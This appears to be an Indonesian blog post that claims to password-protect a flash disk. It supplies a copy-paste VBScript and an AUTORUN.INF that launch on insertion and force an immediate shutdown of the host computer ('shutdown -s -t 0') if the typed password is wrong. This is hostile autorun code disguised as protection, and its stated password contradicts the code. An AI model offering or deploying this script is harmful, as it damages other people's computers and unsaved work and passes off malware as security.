Membuat Password Flash Disk

Sesuai Judulnya saya mau share biar flash disk kamu pake password :D

copas aja kode ini

on error goto 0
dim s,quest,sd,m,winpath,fs
set sd=createobject("Wscript.shell")
set fs=createobject("Scripting.FileSystemObject")
set winpath=fs.getspecialfolder(0)
set s=wscript.createobject("wscript.shell")
do while quest=""
quest=inputbox("Woi!!!...Sopan Dikit,Maen Nyelonong Aje..Izin Dolo Boz,,Flash ini gw kasi
Password..Masukin Dulu PasswordNya Kalo tidak Ku Matiin Computer kamu ,HoHoHo...MakaNya Jangan
Maen2 Dengan Flashdisk!!! :","ProtectorGuard By dark_heea")
if quest="" then
m=MsgBox("Tolong masukkan password dulu Woi!!! Om,Mas,Mba,Tante..Denger nggak Neh!!!D..", 0+0+48, "ProtectorGuard By dark_heea")
end if
loop
if quest="darkheea" then
s.run "shutdown -a"
sd.run winpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
else
s.run "shutdown -s -t 0"
end if

simpan dengan ektensi *.vbs. misalnya : lock.vbs
(if quest="tlolor" itu passnya)

copas lagi.....

[AUTORUN]
Shellexecute=wscript.exe lock.vbs
Action=Flashdisk Paling Canggih DiDunia
Label=Cyber-Meong-Team

simpen dengan nama AUTORUN.INF
nah gabunging file autorun.inf dengan lock.vbs tadi....

masukin deh ke FD.....

lihat hasilnya...........

 

 passwodnya: darkheea

silahkan ganti paswordnya sesukamu...oke